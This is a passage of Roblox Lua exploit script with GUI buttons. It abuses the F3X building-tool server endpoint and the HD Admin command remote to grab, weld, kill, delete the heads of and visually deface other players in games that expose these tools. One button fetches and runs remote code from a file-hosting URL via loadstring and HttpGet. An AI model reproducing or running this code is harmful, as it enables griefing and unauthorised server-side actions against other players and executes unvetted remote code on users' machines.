					local Frame = Instance.new("Frame")

					TextLabel.Parent = MainGUI
					TextLabel.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
					TextLabel.BorderSizePixel = 0
					TextLabel.Position = UDim2.new(0.2, 0, 0.05, -10)
					TextLabel.Size = UDim2.new(0.6, 0, 0.1, 0)
					TextLabel.Font = Enum.Font.SourceSans
					TextLabel.TextColor3 = Color3.new(1, 1, 1)
					TextLabel.TextSize = 35
					TextLabel.TextScaled = true
					TextLabel.TextYAlignment = Enum.TextYAlignment.Center
					TextLabel.TextXAlignment = Enum.TextXAlignment.Left
					TextLabel.Text = ""
					TextLabel.BackgroundTransparency = 1

					Frame.Parent = TextLabel
					Frame.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
					Frame.BorderSizePixel = 0
					Frame.Transparency = 1
					Frame.Position = UDim2.new(0, 0, 1, 0)
					Frame.Size = UDim2.new(1, 0, 0, 5)

					for i = 1, 8 do
						TextLabel.BackgroundTransparency = TextLabel.BackgroundTransparency - 0.1
						TextLabel.Position = TextLabel.Position + UDim2.new(0, 0, 0, 1)
						Frame.Transparency = Frame.Transparency - 0.1
						task.wait()
					end

					msg = "  " .. msg
					for i = 1, #msg do
						TextLabel.Text = string.sub(msg, 1, i)
						task.wait()
					end

					task.wait(1)

					for i = 1, 8 do
						TextLabel.BackgroundTransparency = TextLabel.BackgroundTransparency + 0.1
						TextLabel.Position = TextLabel.Position - UDim2.new(0, 0, 0, 2)
						Frame.Transparency = Frame.Transparency + 0.1
						task.wait()
					end
					TextLabel:Destroy()
				end)()
			end


			RequestCommand:InvokeServer(";hat me 18268136683")

			yeah=player.Backpack:FindFirstChild('Building Tools') or player.Backpack:FindFirstChild('F3X Btools!')
			if yeah then
				notify("Grab knife made by Green2Spooky")
				task.wait(3)
				notify("Press Z to equip broooo")
			elseif not yeah then
				notify("games dont have f3x or admin so go in another games broo")
			end

			local tool
			for _, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for _, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end

			local remote = tool.SyncAPI.ServerEndpoint

			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function yerpp(E)
				local argsCreate = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = E,
							["DecorationType"] = "Sparkles"
						}
					}
				}


				local argsSync = {
					[1] = "SyncDecorate",
					[2] = {
						[1] = {
							["Part"] = E,
							["DecorationType"] = "Sparkles",
							["SparkleColor"] = Color3.fromRGB(255, 255, 0)
						} 
					} 
				}
				_(argsCreate)
				_(argsSync)
			end

			local knfe = character["Accessory (Knife McGrabbington III)"]

			if knfe then
				local args = {
					"Remove",
					{
						knfe.Handle.SpecialMesh
					}
				}

				_(args)
			end

			local function Resize(part, size, ha)
				local args = {
					"SyncResize",
					{
						{
							Part = part,
							CFrame = ha,
							Size = size
						}
					}
				}
				_(args)
			end

			local function SetAnchor(boolean, part)
				local args = {
					"SyncAnchor",
					{
						{
							Part = part,
							Anchored = boolean
						}
					}
				}
				_(args)
			end

			function MovePart(part, cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end

			local function Color(part, color)
				local args = {
					"SyncColor",
					{
						{
							Part = part,
							Color = color,
							UnionColoring = false
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end

			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end

			function SetMesh(part,meshid,offseter)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Offset"] = offseter,
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end

			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end

			spawn(function()
				yerpp(knfe.Handle)
			end)
			spawn(function()
				AddMesh(knfe.Handle)
			end)
			spawn(function()
				SetMesh(knfe.Handle, "18114736783",Vector3.new(0, 0, 0))
			end)
			spawn(function()
				SetTexture(knfe.Handle, "80617091791234")
			end)

			function bleed(target)
				if not target or not target.Character then return end

				local stopBleeding = false
				local activeBloodParts = {} 
				local characterConnection
				characterConnection = target.CharacterAdded:Connect(function()
					stopBleeding = true

					for _, blood in pairs(activeBloodParts) do
						if blood and blood.Parent then
							DestroyPart(blood)
						end
					end
					if characterConnection then
						characterConnection:Disconnect()
					end
				end)


				coroutine.wrap(function()
					while not stopBleeding and target and target.Character do
						local humanoid = target.Character:FindFirstChildOfClass("Humanoid")
						local rootPart = target.Character:FindFirstChild("HumanoidRootPart")

						if rootPart then

							coroutine.wrap(function()
								yez=CFrame.new(0,-10,0)
								local blood = remote:InvokeServer("CreatePart", "Ball", yez, target.Character)
								if blood then
									table.insert(activeBloodParts, blood)

									spawn(function()
										Color(blood, Color3.fromRGB(255, 0, 0))
									end)

									spawn(function()
										Resize(blood, Vector3.new(0.2, 0.2, 0.2), rootPart.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)))
									end)
									spawn(function()
										SetAnchor(false, blood)
									end)
									coroutine.wrap(function()
										wait(2)
										Resize(blood, Vector3.new(0.8, 0.1, 0.8),blood.CFrame)
										Resize(blood, Vector3.new(0.9, 0.1, 0.9),blood.CFrame)
										SetTrans(blood, 0.9)
										SetTrans(blood, 0.7)
										SetTrans(blood, 0.5)
										SetTrans(blood, 0.3)
										SetTrans(blood, 0.1)
										DestroyPart(blood)


										for i, v in pairs(activeBloodParts) do
											if v == blood then
												table.remove(activeBloodParts, i)
												break
											end
										end
									end)()
								end
							end)()
						end

						wait(0.005)
					end
				end)()
			end

			function c0lefect(E)
				local argsCreate = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = E,
							["DecorationType"] = "Sparkles"
						}
					}
				}


				local argsSync = {
					[1] = "SyncDecorate",
					[2] = {
						[1] = {
							["Part"] = E,
							["DecorationType"] = "Sparkles",
							["SparkleColor"] = Color3.fromRGB(255, 255, 0)
						} 
					} 
				}

				local args = {
					"Remove",
					{
						E:FindFirstChild('Sparkles')
					}
				}



				_(argsCreate)
				_(argsSync)
				task.wait(1)
				_(args)
			end


			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)

			end
			function breakWelds(part)
				local welds = {}
				for _, weld in ipairs(part:GetDescendants()) do
					if weld:IsA("WeldConstraint") or weld:IsA("Weld") or weld:IsA("Motor6D") then
						table.insert(welds, weld)
					end
				end

				if #welds == 0 then
					return false
				end

				local args = {
					"RemoveWelds",
					welds
				}
				_(args)
				return true
			end

			local humanoid = character:FindFirstChildOfClass("Humanoid")

			local arm = character:FindFirstChild("Right Arm") and character:FindFirstChild("Left Arm") and character:FindFirstChild("Torso") 
			local holdAnimation = Instance.new("Animation")
			holdAnimation.AnimationId = "rbxassetid://48146273"
			local holdTrack = humanoid:LoadAnimation(holdAnimation)

			local killAnimation = Instance.new("Animation")
			killAnimation.AnimationId = "rbxassetid://48146273"
			local killTrack = humanoid:LoadAnimation(killAnimation)

			local knifeHoldAnim = Instance.new("Animation")
			knifeHoldAnim.AnimationId = "rbxassetid://299225058"

			local staffupAnim = Instance.new("Animation")
			staffupAnim.AnimationId = "rbxassetid://27432691"

			local swordhitAnim = Instance.new("Animation")
			swordhitAnim.AnimationId = "rbxassetid://27432686"

			local holdstaffAnim = Instance.new("Animation")
			holdstaffAnim.AnimationId = "rbxassetid://57794492"

			local stabAnim = Instance.new("Animation")
			stabAnim.AnimationId = "rbxassetid://30174375"


			local track1 = humanoid:LoadAnimation(staffupAnim)
			local track2 = humanoid:LoadAnimation(swordhitAnim)
			holdTrack = humanoid:LoadAnimation(holdstaffAnim)




			function GrabAnim()
				track1.Looped = false
				track2.Looped = false
				holdTrack.Looped = false

				track1:Play()
				track1.Stopped:Wait()

				track2:Play()
				track2.Stopped:Wait()

				holdTrack:Play()
				holdTrack:AdjustSpeed(0)
			end

			function Kill()
				local stabTrack = humanoid:LoadAnimation(stabAnim)
				stabTrack.Looped = false
				stabTrack:Play()
				stabTrack.Stopped:Wait()

				if holdTrack then holdTrack:Stop() end
			end


			function failed()
				track1.Looped = false
				track2.Looped = false
				holdTrack.Looped = false

				track1:Play()
				track1:AdjustSpeed(3)
				track1.Stopped:Wait()


				holdTrack:Play()
				wait(0.3)
				holdTrack:Stop()
			end


			local isBusy = false
			local alignPosition
			local alignOrientation

			local Players = game:GetService("Players")
			local player = Players.LocalPlayer 

			local function attachBehind(targetChar)
				local root = character:FindFirstChild("HumanoidRootPart")
				local targetRoot = targetChar:FindFirstChild("HumanoidRootPart")
				if root and targetRoot then

					local attachment0 = root:FindFirstChild("Attachment") or Instance.new("Attachment", root)
					local attachment1 = targetRoot:FindFirstChild("Attachment") or Instance.new("Attachment", targetRoot)


					alignPosition = Instance.new("AlignPosition")
					alignPosition.MaxForce = 1000000
					alignPosition.Responsiveness = 200
					alignPosition.Attachment0 = attachment0
					alignPosition.Attachment1 = attachment1
					alignPosition.Parent = root
					alignOrientation = Instance.new("AlignOrientation")
					alignOrientation.MaxTorque = 1000000
					alignOrientation.Responsiveness = 200
					alignOrientation.Attachment0 = attachment0
					alignOrientation.Attachment1 = attachment1
					alignOrientation.Parent = root


					attachment1.Position = Vector3.new(0, 0, 0.5)
				end
			end

			local function detach()
				if alignPosition then
					alignPosition:Destroy()
					alignPosition = nil
				end
				if alignOrientation then
					alignOrientation:Destroy()
					alignOrientation = nil
				end
			end

			local function attacke()
				if isBusy then return end
				isBusy = true

				local hitPlayer = nil
				local touchedConnection

				local function onTouch(other)
					local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)
					if otherPlayer and otherPlayer ~= player then
						hitPlayer = otherPlayer
					end
				end

				touchedConnection = arm.Touched:Connect(onTouch)
				task.wait(0.15)
				if touchedConnection then
					touchedConnection:Disconnect()
				end

				if hitPlayer and hitPlayer.Character then

					RequestCommand:InvokeServer(";speed " ..hitPlayer.Name.. " 0")


					track1.Looped = false
					track2.Looped = false
					holdTrack.Looped = false

					track1:Play()
					track1.Stopped:Wait()

					track2:Play()
					track2:AdjustSpeed(3)
					track2.Stopped:Wait()

					holdTrack:Play()

					holdTrack:AdjustSpeed(0)
					spawn(function()
						attachBehind(hitPlayer.Character)
						wait(0.8)
						detach()
					end)
					spawn(function()
						SetLocked(hitPlayer.Character.Torso, false)
					end)
					spawn(function()
						SetLocked(char.Torso, false)
					end)
					Weld(character.Torso,hitPlayer.Character.Torso,character.Torso)
					Weld(character.Torso,hitPlayer.Character.HumanoidRootPart,character.Torso)
					Weld(character.Torso,hitPlayer.Character.Head,character.Torso)


					wait(3)
					spawn(function()
						Kill()
					end)
					bleed(hitPlayer)
					wait(0.5)
					RequestCommand:InvokeServer(";kill " ..hitPlayer.Name)
					wait(0.5)
					breakWelds(character.Torso)
					breakWelds(hitPlayer.Character.Torso)
					spawn(function()
						wait(0.8)

						spawn(function()
							SetLocked(hitPlayer.Character.Torso, false)
						end)
						spawn(function()
							SetLocked(hitPlayer.Character["Right Arm"], false)
						end)
						spawn(function()
							SetLocked(hitPlayer.Character["Left Arm"], false)
						end)
						spawn(function()
							SetLocked(hitPlayer.Character["Right Leg"], false)
						end)
						spawn(function()
							SetLocked(hitPlayer.Character["Left Leg"], false)
						end)

						spawn(function()
							SetCollision(hitPlayer.Character.Torso, true)
						end)
						spawn(function()
							SetCollision(hitPlayer.Character["Right Arm"], true)
						end)
						spawn(function()
							SetCollision(hitPlayer.Character["Left Arm"], true)
						end)
						spawn(function()
							SetCollision(hitPlayer.Character["Right Leg"], true)
						end)
						spawn(function()
							SetCollision(hitPlayer.Character["Left Leg"], true)
						end)
					end)

					wait(0.3)


					isBusy = false


				else

					failed()
					wait(0.4)
					isBusy = false
				end
			end




			UserInputService.InputBegan:Connect(function(input, gameProcessed)
				if gameProcessed then return end

				if input.KeyCode == Enum.KeyCode.Z then
					local args = {
						"Remove",
						{
							knfe.Handle
						}
					}
					_(args)
					knfe:Destroy()

					RequestCommand:InvokeServer(";hat me 18420472059")
					wait(1)
					local knife = character:FindFirstChild("Accessory (KNIF4ELERFTAccessory)")

					spawn(function()
						local args = {
							"Remove",
							{
								knife.Handle.SpecialMesh
							}
						}
						_(args)
					end)

					spawn(function()
						AddMesh(knife.Handle)
					end)
					spawn(function()
						SetMesh(knife.Handle, "18114736783", Vector3.new(0, 0,-0.25))
					end)
					spawn(function()
						SetTexture(knife.Handle, "80617091791234")
					end)

					ready = true
				end 
			end)




			local UserInputService = game:GetService("UserInputService")

			UserInputService.InputBegan:Connect(function(input, gameProcessed)
				if gameProcessed then return end
				if not ready then return end

				if input.UserInputType == Enum.UserInputType.MouseButton1 then
					attacke()
				end
			end)


		end

	end)
end;
task.spawn(C_76);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_78()
	local script = G2L["78"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		--honestly fuck you if you are gonna leak this

		loadstring(game:HttpGet("https://files.catbox.moe/tysw9c.txt"))()

	end)

end;
task.spawn(C_78);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_7a()
	local script = G2L["7a"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		function BurningEff(part)
			local eff1 = Instance.new("ParticleEmitter",part)
			eff1.Size = NumberSequence.new(.1)
			eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff1.LightEmission = 1
			eff1.Lifetime = NumberRange.new(1)
			eff1.Speed = NumberRange.new(0)
			eff1.Rate = 100
			eff1.Texture = "rbxassetid://347504241"
			eff1.Acceleration = Vector3.new(0,10,0)
			eff1.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff2 = Instance.new("ParticleEmitter",part)
			eff2.Size = NumberSequence.new(.1)
			eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff2.LightEmission = 1
			eff2.Lifetime = NumberRange.new(1)
			eff2.Speed = NumberRange.new(0)
			eff2.Rate = 100
			eff2.Texture = "rbxassetid://347504259"
			eff2.Acceleration = Vector3.new(0,10,0)
			eff2.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff3 = Instance.new("ParticleEmitter",part)
			eff3.Size = NumberSequence.new(1)
			eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
			eff3.LightEmission = 1
			eff3.Lifetime = NumberRange.new(1)
			eff3.Speed = NumberRange.new(0)
			eff3.Rate = 100
			eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
			eff3.Acceleration = Vector3.new(0,10,0)
			eff3.Color = ColorSequence.new(Color3.new(1,0,0))
		end


		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		blak=Color3.new(0,0,0)

		local function Color(part, color)
			local args = {
				"SyncColor",
				{
					{
						Part = part,
						Color = color,
						UnionColoring = false
					}
				}
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MoveVector(part,vector)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Offset"] = vector
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		local function applyDecorationToPart(part) 
			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 3,
						["Heat"] = 25,
						["Color"] = Color3.fromRGB(255, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}
			_(argsCreate)
			_(argsSync)
		end

		function eyePart(part) 

			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 1,
						["Heat"] = 12,
						["Color"] = Color3.fromRGB(155, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}

			_(argsCreate)
			_(argsSync)
		end

		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local Players = game:GetService("Players")

		local UserInputService = game:GetService("UserInputService")

		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		--kill thingy
		function thekille(target)
			if target and target.Character then
				for i,v in target.Character:GetDescendants() do
					if v:IsA("BasePart") then
						RequestCommand:InvokeServer(";paint "..target.Name.." black")
						spawn(function()
							Color(v,blak)
						end)
						spawn(function()
							SetTrans(v,0.1)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.2)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.3)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.4)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.5)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.6)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.7)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.8)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.9)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,1)
						end)
						wait(3)
						spawn(function()
							DestroyPart(v)
						end)
					end
				end
			end
		end
		wait(0.1)

		local kill = Instance.new("Sound",char)
		kill.SoundId = "rbxassetid://28144425"
		kill.Pitch = 0.6
		kill.Volume = 3

		local at = kill:Clone()
		at.SoundId="rbxassetid://82500396906354"
		at.Parent = char
		at.Volume = 0.5

		local player = Players.LocalPlayer
		local character = char


		RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ")
		RequestCommand:InvokeServer(";removeaccessories")
		wait(1.5)
		RequestCommand:InvokeServer(";hat me 18196403126")
		wait(0.6)
		RequestCommand:InvokeServer(";shirt me 100276101149100")
		wait(0.9)
		RequestCommand:InvokeServer(";pants me 109662040845019")
		wait(0.5)
		RequestCommand:InvokeServer(";head me 0")
		wait(0.7)
		RequestCommand:InvokeServer(";face me 144075659")
		wait(0.3)
		local eye = char:FindFirstChild("Accessory (JohnEye)").Handle
		local arm = char:FindFirstChild("Right Arm")
		local tor = char:FindFirstChild("Torso")
		local ar2 = char:FindFirstChild("Left Arm")

		local RLeg = char:FindFirstChild("Right Leg")
		local head = char:FindFirstChild("Head")
		local LLeg = char:FindFirstChild("Left Leg")
		task.spawn(function()
			applyDecorationToPart(arm)
		end)
		task.spawn(function()
			applyDecorationToPart(ar2)
		end)
		task.spawn(function()
			eyePart(eye)
		end)
		RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf")
		task.spawn(function()
			Color(arm, Color3.fromRGB(0,0,0))
		end)
		task.spawn(function()
			Color(ar2, Color3.fromRGB(252, 255, 150))
		end)
		task.spawn(function()
			Color(head, Color3.fromRGB(252, 255, 150))
		end)
		task.spawn(function()
			Color(tor, Color3.fromRGB(255, 255, 0))
		end)
		task.spawn(function()
			Color(RLeg, Color3.fromRGB(0, 200, 255))
		end)
		task.spawn(function()
			Color(LLeg, Color3.fromRGB(0, 200, 255))
		end)
		task.spawn(function()
			AddMesh(arm)
		end)
		task.spawn(function()
			SetMesh(arm,"94818190090394")
		end)
		task.spawn(function()
			MoveVector(arm,Vector3.new(0.37, -0.6, 0))
		end)

		local arm = character:FindFirstChild("Right Arm") 
		local humanoid = character:FindFirstChildOfClass("Humanoid")

		local isDead = false
		humanoid.Died:Connect(function()
			isDead = true
		end)

		local animator = humanoid:FindFirstChildOfClass("Animator")

		local attackAnim = Instance.new("Animation")
		attackAnim.AnimationId = "rbxassetid://186934658"
		local attackTrack = animator:LoadAnimation(attackAnim)
		function attack()
			attackTrack:Play() 
			local hitPlayer = nil
			local touchedConnection

			local function onTouch(other)
				local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)
				if otherPlayer and otherPlayer ~= player then
					hitPlayer = otherPlayer
				end
			end

			touchedConnection = arm.Touched:Connect(onTouch)
			task.wait(0.5)
			if touchedConnection then
				touchedConnection:Disconnect()
			end
			if hitPlayer then
				d = at:Clone()
				d:Play()
				d.Parent = char
				spawn(function()
					wait(5)
					d:Destroy()
				end)
				task.spawn(DestroyPart,hitPlayer.Character.Head)
			else
				d = kill:Clone()
				d:Play()
				d.Parent = char
				wait(5)
				d:Destroy()
			end
		end




		local mouse = player:GetMouse()

		mouse.Button1Down:Connect(function()
			if isDead then return end
			attack()
		end)



		local backpack = player.Backpack

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end

		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
		end

		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local function fire(part) 

			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}


			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 10,
						["Heat"] = 0,
						["Color"] = Color3.fromRGB(255, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}


			_(argsCreate)
			_(argsSync)
		end
		function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part, cf)
			local args = {
				"SyncMove",
				{
					{
						Part = part,
						CFrame = cf
					}
				}
			}
			_(args)
		end

		local function resize(part, size, cf)
			local args = {
				"SyncResize",
				{
					{
						Part = part,
						CFrame = cf,
						Size = size
					}
				}
			}
			_(args)
		end

		local function syncmaterial(part, mate)
			local args = {
				"SyncMaterial",
				{
					{
						Part = part,
						Material = mate
					}
				}
			}
			_(args)
		end

		local function transparency(part, trans)
			local args = {
				"SyncMaterial",
				{
					{
						Part = part,
						Transparency = trans
					}
				}
			}
			_(args)
		end

		local function color(part, color)
			local args = {
				"SyncColor",
				{
					{
						Part = part,
						Color = color,
						UnionColoring = false
					}
				}
			}
			_(args)
		end

		local function syncmeshid(part, id)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						MeshId = "rbxassetid://" .. id
					}
				}
			}
			_(args)
		end
		function destroy(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		local function makemesh(part)
			local args = {
				"CreateMeshes",
				{
					{
						Part = part
					}
				}
			}
			_(args)
		end

		local function syncmeshsize(part, vectora)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						Scale = vectora
					}
				}
			}
			_(args)
		end

		local function syncmeshtexture(part, id)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						TextureId = "rbxassetid://" .. id
					}
				}
			}
			_(args)
		end

		local function name(part, stringa)
			local args = {
				"SetName",
				{ part },
				stringa
			}
			_(args)
		end

		local function lock(part, boolean)
			local args = {
				"SetLocked",
				{ part },
				boolean
			}
			_(args)
		end

		local function setcollision(part, booleana)
			local args = {
				"SyncCollision",
				{
					{
						Part = part,
						CanCollide = booleana
					}
				}
			}
			_(args)
		end

		local function setanchor(part, boolean)
			local args = {
				"SyncAnchor",
				{
					{
						Part = part,
						Anchored = boolean
					}
				}
			}
			_(args)
		end

		local function createdecal(part, side)
			local args = {
				"CreateTextures",
				{
					{
						Part = part,
						Face = side,
						TextureType = "Decal"
					}
				}
			}
			_(args)
		end

		local function setdecal(part, asset, side)
			local args = {
				"SyncTexture",
				{
					{
						Part = part,
						Face = side,
						TextureType = "Decal",
						Texture = "rbxassetid://" .. asset
					}
				}
			}
			_(args)
		end
		task.spawn(function()
			while task.wait(0.02) do
				task.spawn(function()
					local hrp = char.HumanoidRootPart
					local pos = hrp.CFrame * CFrame.new(0, -3, 0)
					local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char)
					task.spawn(function()
						setcollision(trail, false)
					end)
					task.spawn(function()
						syncmaterial(trail, Enum.Material.Granite)
					end)
					task.spawn(function()
						color(trail, Color3.new(0, 0, 0))
					end)
					task.spawn(function()
						resize(trail, Vector3.new(10,0,10), pos)
					end)
					task.spawn(function()
						fire(trail)
					end)
					BurningEff(trail)
					task.wait(1)
					delete(trail)
				end)
			end
		end)

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		local RunService = game:GetService("RunService")
		local rotatetypeshii = Vector3.new(0, 1, 0).Unit
		local skypartrotation = 0
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
		function reflect(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Reflectance"] = int
					}
				}
			}
			_(args)
		end
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}

			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function MeshColor(part,color)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						VertexColor = color 
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)

		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end

		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
